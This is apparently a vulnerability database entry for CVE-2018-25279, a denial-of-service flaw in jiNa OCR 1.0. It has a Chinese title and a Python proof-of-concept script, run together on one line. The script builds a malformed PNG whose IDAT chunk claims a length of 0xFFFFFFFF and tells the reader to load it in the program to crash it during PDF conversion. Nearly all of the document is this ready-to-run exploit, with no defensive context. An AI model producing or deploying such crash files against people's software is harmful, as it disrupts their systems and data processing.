CVE-2018-25279 jiNa OCR拒绝服务漏洞

import struct # PoC script to generate a malformed PNG file triggering DoS in jiNa OCR 1.0 # This creates a PNG with a massive chunk length to cause a crash during PDF conversion. def create_malformed_png(filename): # Standard PNG Signature png_sig = b'\x89PNG\r\n\x1a\n' # IHDR Chunk (Width: 1, Height: 1, Bit depth: 8, etc.) width = 1 height = 1 ihdr_data = struct.pack('>IIBBBBB', width, height, 8, 2, 0, 0, 0) ihdr_crc = 0x58C41F5D # Pre-calculated CRC for this specific IHDR ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # Malicious Chunk: Set length to a very large value (e.g., 0xFFFFFFFF) # The application will try to allocate this size, leading to a crash. bad_length = 0xFFFFFFFF chunk_type = b'IDAT' # Minimal data + dummy CRC malformed_chunk = struct.pack('>I', bad_length) + chunk_type + b'\x00' + struct.pack('>I', 0xDEADBEEF) with open(filename, 'wb') as f: f.write(png_sig) f.write(ihdr_chunk) f.write(malformed_chunk) print(f"[+] Malformed PNG file generated: {filename}") print("[+] Load this file in jiNa OCR 1.0 and convert to PDF to trigger the crash.") if __name__ == "__main__": create_malformed_png('cve_2018_25279_poc.png')